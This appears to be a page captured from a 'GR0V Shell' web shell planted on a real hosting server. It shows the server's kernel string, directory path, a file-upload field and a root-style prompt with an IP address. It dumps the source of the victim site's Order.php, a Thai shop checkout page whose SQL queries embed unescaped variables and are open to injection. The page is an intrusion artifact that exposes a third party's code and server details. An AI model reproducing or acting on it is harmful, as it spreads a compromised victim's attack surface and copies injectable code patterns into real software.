? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/promice/
File Upload :
Current File : /home/admin/public_html/old/promice/Order.php

<? include("header.php");?>
<table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
  <!-- fwtable fwsrc="Untitled" fwbase="home.jpg" fwstyle="Dreamweaver" fwdocid = "742308039" fwnested="0" -->
  <tr>
   <td><img src="images/spacer.gif" width="423" height="1" border="0" alt=""></td>
   <td><img src="images/spacer.gif" width="16" height="1" border="0" alt=""></td>
   <td><img src="images/spacer.gif" width="225" height="1" border="0" alt=""></td>
   <td><img src="images/spacer.gif" width="315" height="1" border="0" alt=""></td>
   <td><img src="images/spacer.gif" width="21" height="1" border="0" alt=""></td>
   <td><img src="images/spacer.gif" width="1" height="1" border="0" alt=""></td>
  </tr>

  
  <tr>
    <td colspan="5" bgcolor="#FFFFFF"><div align="center"> 
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr valign="top"> 
            <td width="190"><table width="100%" border="0" cellspacing="1" cellpadding="1">
                <tr>
                  <td><div align="center"> <? echo "$showmember"; ?></div></td>
                </tr>
                <tr> 
                  <td><img src="images/index_09.jpg" width="245" height="41" alt=""></td>
                </tr>
                <tr> 
                  <td> 
                    <?
$page = $_GET['page'];
$select_type="select * from productstype  order by id asc";
$query_select=mysql_query($select_type);
$num_rows=mysql_num_rows($query_select);

if($num_rows<1){
echo "<br><br><center><b>ยังไม่มีการเพิ่มข้อมูลค่ะ</b></center>";
}else{
		$select="select * from productstype  order by id asc";
		$q_ry = mysql_query($select);
	 	$num_rows=mysql_num_rows($q_ry);
  		$pagesize=20;
		$rt=$num_rows%$pagesize;
		if($rt!=0)
			{
				$totalpage=floor($num_rows/$pagesize)+1;
			}
		else
			{
				$totalpage=floor($num_rows/$pagesize);
				$toppic_id=1;
			}
		if(empty($page))
			{
				$page=1;
			}
		mysql_free_result($q_ry);
		$goto=($page-1)*$pagesize;
$sql_select_mem="Select * From productstype  order by id asc limit $goto,$pagesize";
		$fect=mysql_query($sql_select_mem);
		if(!$fect)
		{
		("ติดต่อฐานข้อมูลไม่ได้".mysql_error());
		exit;
		}

	  $bgcount=0;
	while($rows=mysql_fetch_array($fect))
	{
$idx =$rows['id'];
$productstypecode  =$rows['productstypecode'];
$productstypename = $rows['productstypename'];
$bgcount=$bgcount+1;
$bgmod=$bgcount%2;
if($bgmod==0){
	$bgcolor="#E9E9E8";
}else{
	$bgcolor="#FFFFFF";
}

$s_num="select * from products where productstypecode = '$productstypecode'";
$query_select_num=mysql_query($s_num);
$snum=mysql_num_rows($query_select_num);
	?>
                    <table width="100%" border="0" cellspacing="1" cellpadding="1">
                      <tr> 
                        <td height="23"> <div align="left"></div>
                          <div align="left"></div>
                          <div align="center"> </div>
                          <div align="left"><img src="images/bullet/bt03.gif" width="14" height="14"><? echo "<a href=ProductList.php?PRD=$productstypecode>$productstypename</a> ($snum)"; ?></div></td>
                      </tr>
                      <tr> 
                        <td height="5"><img src="images/inline.jpg" width="184" height="3"></td>
                      </tr>
                    </table>
                    <?
}
}
?>                  </td>
                </tr>
                <tr> 
                  <td>&nbsp;</td>
                </tr>
            </table></td>
            <td><table width="100%" border="0" cellspacing="1" cellpadding="1">
                <tr> 
                  <td><img src="images/step2.jpg" width="748" height="64"></td>
                </tr>
                <tr> 
                  <td><table width="90%" border="0" cellspacing="1" cellpadding="1">
                      <form name="form1" method="post" action="orderComplete.php">
                        <tr> 
                          <td><strong>ข้อมูลการจัดส่ง</strong></td>
                        </tr>
                        <tr> 
                          <td> 
                            <?
			$sqla="select * from member where usermem='$usermem'";
			$resulta=mysql_db_query($db,$sqla);
			$rs=mysql_fetch_array($resulta);
			?>
                            <table width="582" border="0" align="center" cellpadding="1" cellspacing="1">
                              <tr> 
                                <td width="130"><div align="right">คำนำชื่อ 
                                    :</div></td>
                                <td width="445"><input name="fname" type="text" class="inputinput" id="fname2" size=20 value='<? echo $rs[fname]; ?>'></td>
                              </tr>
                              <tr> 
                                <td><div align="right">ชื่อ-นามสกุล 
                                    :</div></td>
                                <td><input name="name" type="text" class="inputinput" size=40 value='<? echo $rs[name]; ?>'></td>
                              </tr>
                              <tr> 
                                <td><div align="right">ที่อยู่ 
                                    :</div></td>
                                <td> 
                                  <input name="address" type="text" class="inputinput" id="address" size=20 value='<? echo $rs[address]; ?>'>                                  </td>
                              </tr>
                              <tr> 
                                <td><div align="right">ถนน 
                                    :</div></td>
                                <td> 
                                  <input name="road" type="text" class="inputinput" id="road2" size=20 value='<? echo $rs[road]; ?>'>                                  </td>
                              </tr>
                              <tr> 
                                <td><div align="right">ตำบล/แขวง 
                                    :</div></td>
                                <td> 
                                  <input name="district" type="text" class="inputinput" id="district2" size=20 value='<? echo $rs[district]; ?>'>                                  </td>
                              </tr>
                              <tr> 
                                <td><div align="right">อำเภอ/เขต 
                                    :</div></td>
                                <td> 
                                  <input name="city" type="text" class="inputinput" id="city2" size=20 value='<? echo $rs[city]; ?>'>                                  </td>
                              </tr>
                              <tr> 
                                <td><div align="right">จังหวัด 
                                    :</div></td>
                                <td> 
                                  <input name="province" type="text" class="inputinput" id="province2" size=20 value='<? echo $rs[province]; ?>'>                                  </td>
                              </tr>
                              <tr> 
                                <td><div align="right">ประเทศ 
                                    :</div></td>
                                <td> 
                                  <input name="country" type="text" class="inputinput" id="country3"  size=20 value='<? echo $rs[country]; ?>'>                                  </td>
                              </tr>
                              <tr> 
                                <td><div align="right">รหัสไปรษณีย์ 
                                    :</div></td>
                                <td><input name="zipcode" type="text" class="inputinput" id="zipcode2" size=30 value='<? echo $rs[zipcode]; ?>'></td>
                              </tr>
                              <tr> 
                                <td><div align="right">โทรศัพท์ 
                                    :</div></td>
                                <td><input name="phone" type="text" class="inputinput" id="phone2" size=30  value='<? echo $rs[phone]; ?>'></td>
                              </tr>
                              <tr> 
                                <td><div align="right">โทรสาร 
                                    :</div></td>
                                <td><input name="fax" type="text" class="inputinput" id="fax" size=30  value='<? echo $rs[fax]; ?>'></td>
                              </tr>
                              <tr> 
                                <td><div align="right">มือถือ 
                                    :</div></td>
                                <td><input name="mobile" type="text" class="inputinput" id="mobile" size=30  value='<? echo $rs[mobile]; ?>'></td>
                              </tr>
                              <tr> 
                                <td><div align="right">Email 
                                    :</div></td>
                                <td><input name="email" type="text" class="inputinput" id="email6" size=30  value='<? echo $rs[email]; ?>'></td>
                              </tr>
                            </table></td>
                        </tr>
                        <tr> 
                          <td><strong>รายการสินค้าที่สั่งซื้อ</strong></td>
                        </tr>
                        <tr> 
                          <td><br> <TABLE WIDTH="650"  BORDER="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#CCCCCC">
                              <TR BGCOLOR="#f4f4f4"> 
                                <TD WIDTH="15%" height="34"><CENTER>
                                    <B>รหัสสินค้า</B> </CENTER></TD>
                                <TD WIDTH="50%"><CENTER>
                                    <b>รายการสินค้าที่ได้สั่งซื้อ</b> 
                                    </CENTER></TD>
                                <TD WIDTH="12%"><CENTER>
                                    <B>จำนวน</B> </CENTER></TD>
                                <TD WIDTH="10%"><CENTER>
                                    <B>ราคา</B> </CENTER></TD>
                                <TD WIDTH="13%"><CENTER>
                                    <B>รวม</B> </CENTER></TD>
                              </TR>
                              <?
			for ($i=0;$i<count($sess_idproduct);$i++) {
					$total_unit=$sess_num[$i]*$sess_price[$i];
					$total=$total+$total_unit;
					//$prd_code=sprintf("%05d",$sess_idproduct[$i]);
					$prdcode = $sess_idproduct[$i];
					$a = $sess_num[$i] *150 ;
					$c=number_format($total_unit,2,'.',',') ;
					$total_all=$total;
					echo "
				          <TR bgcolor='#FFFFFF' height='22'>
								<TD><center>$prdcode</center></TD>
								<TD>$sess_name_prd[$i]</TD>
								<TD><CENTER>$sess_num[$i]</CENTER></TD>
								<TD><CENTER>$sess_price[$i]</CENTER></TD>
								<TD><div align=right>$c</div></TD>
			
						 </TR>";
				}
				
			?>
                            </TABLE>
                            <table width="648" border="0" align="center" cellspacing="0">
                              <tr> 
                                <td width="504" height="25"><div align="right"></div></td>
                                <td width="143"><div align="center"> </div></td>
                              </tr>
                            </table>
                            <BR> <table width="650" border="0" align="center" cellpadding="5" cellspacing="2">
                              <tr> 
                                <td width="264"><div align="right"></div></td>
                                <td width="360"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                                    <tr> 
                                      <td width="1"><div align="left"></div></td>
                                      <td width="164" bgcolor="#FFFFFF"> <div align="right"><strong>รวมเป็นเงินทั้งหมด</strong></div></td>
                                      <td width="142" bgcolor="#FFFFFF"> <div align="center"> 
                                           
                                          <? 
				$a=number_format($total_all,2,'.',',') ;
				echo "<center><b>$a</b></center>"; 
			?>
                                          </div></td>
                                      <td width="53" bgcolor="#FFFFFF"><strong>บาท</strong></td>
                                    </tr>
                                  </table></td>
                              </tr>
                              <tr> 
                                <td>&nbsp;</td>
                                <td><div align="right" class="style5"></div></td>
                              </tr>
                            </table></td>
                        </tr>
                        <tr> 
                          <td><strong>โอนเงินผ่านธนาคาร 
                            (Bank Transfer)</strong></td>
                        </tr>
                        <tr> 
                          <td><strong><u>ชำระเข้าบัญชี<br>
                            </u></strong></td>
                        </tr>
                        <tr> 
                          <td bgcolor="#ECE7D6"> <table width="721" height="18" border="0" cellpadding="1" cellspacing="1">
                              <tr> 
                                <td width="116"><strong>ธนาคาร</strong></td>
                                <td width="171"><strong>ชื่อบัญชี</strong></td>
                                <td width="156"><strong>ประเภทบัญชี</strong></td>
                                <td width="161"><strong>สาขา</strong></td>
                                <td width="180"><strong>เลขที่บัญชี</strong></td>
                              </tr>
                            </table></td>
                        </tr>
                        <tr> 
                          <td> 
                            <?
$page = $_GET['page'];

$select_type="select * from bank  order by id asc";
$query_select=mysql_query($select_type);
$num_rows=mysql_num_rows($query_select);

if($num_rows<1){
echo "<br><br><center><b>ยังไม่มีการเพิ่มข้อมูลค่ะ</b></center>";
}else{
		$select="select * from bank  order by id asc";
		$q_ry = mysql_query($select);
	 	$num_rows=mysql_num_rows($q_ry);
  		$pagesize=20;
		$rt=$num_rows%$pagesize;
		if($rt!=0)
			{
				$totalpage=floor($num_rows/$pagesize)+1;
			}
		else
			{
				$totalpage=floor($num_rows/$pagesize);
				$toppic_id=1;
			}
		if(empty($page))
			{
				$page=1;
			}
		mysql_free_result($q_ry);
		$goto=($page-1)*$pagesize;
$sql_select_mem="Select * From bank  order by id asc limit $goto,$pagesize";
		$fect=mysql_query($sql_select_mem);
		if(!$fect)
		{
		("ติดต่อฐานข้อมูลไม่ได้".mysql_error());
		exit;
		}

	  $bgcount=0;
	while($rows=mysql_fetch_array($fect))
	{
$idx =$rows['id'];
$accname  =$rows['accname'];
$bankname = $rows['bankname'];
$accno = $rows['accno'];
$branch = $rows['branch'];
$acctype = $rows['acctype'];
$bgcount=$bgcount+1;
$bgmod=$bgcount%2;
if($bgmod==0){
	$bgcolor="#E9E9E8";
}else{
	$bgcolor="#FFFFFF";
}
	?>
                            <table width="725" border="0" cellspacing="1" cellpadding="1">
                              <tr> 
                                <td width="102"><? echo "$bankname"; ?></td>
                                <td width="154"><? echo "$accname"; ?></td>
                                <td width="145"><? echo "$acctype"; ?></td>
                                <td width="139"><? echo "$branch"; ?></td>
                                <td width="169"><? echo "$accno"; ?></td>
                              </tr>
                            </table>
                            <?
}
}
?>                          </td>
                        </tr>
                        <tr> 
                          <td>&nbsp;</td>
                        </tr>
                        <tr> 
                          <td><div align="center"> 
                              <table width="520" border="0" align="center" cellpadding="1" cellspacing="1">
                                <tr> 
                                  <td width="170"><div align="center"><a href="Cart.php"><img src="images/orderbutt1.jpg" width="140" height="49" border="0"></a> 
                                    </div></td>
                                  <td width="170"><div align="center"><a href="orderCancel.php"><img src="images/orderbutt2.jpg" width="141" height="49" border="0"></a> 
                                    </div></td>
                                  <td width="170"><div align="center"> 
                                      <input name="image" type="image" src="images/orderbutt3.jpg">
                                    </div></td>
                                </tr>
                              </table>
                            </div></td>
                        </tr>
                        <tr> 
                          <td>&nbsp;</td>
                        </tr>
                      </form>
                    </table></td>
                </tr>
              </table></td>
          </tr>
        </table>
      </div></td>
   <td><img src="images/spacer.gif" width="1" height="25" border="0" alt=""></td>
  </tr>
</table><? include("footer.php");?>

</body>
</html>

T1KUS90T
  root-grov@210.1.60.28:~$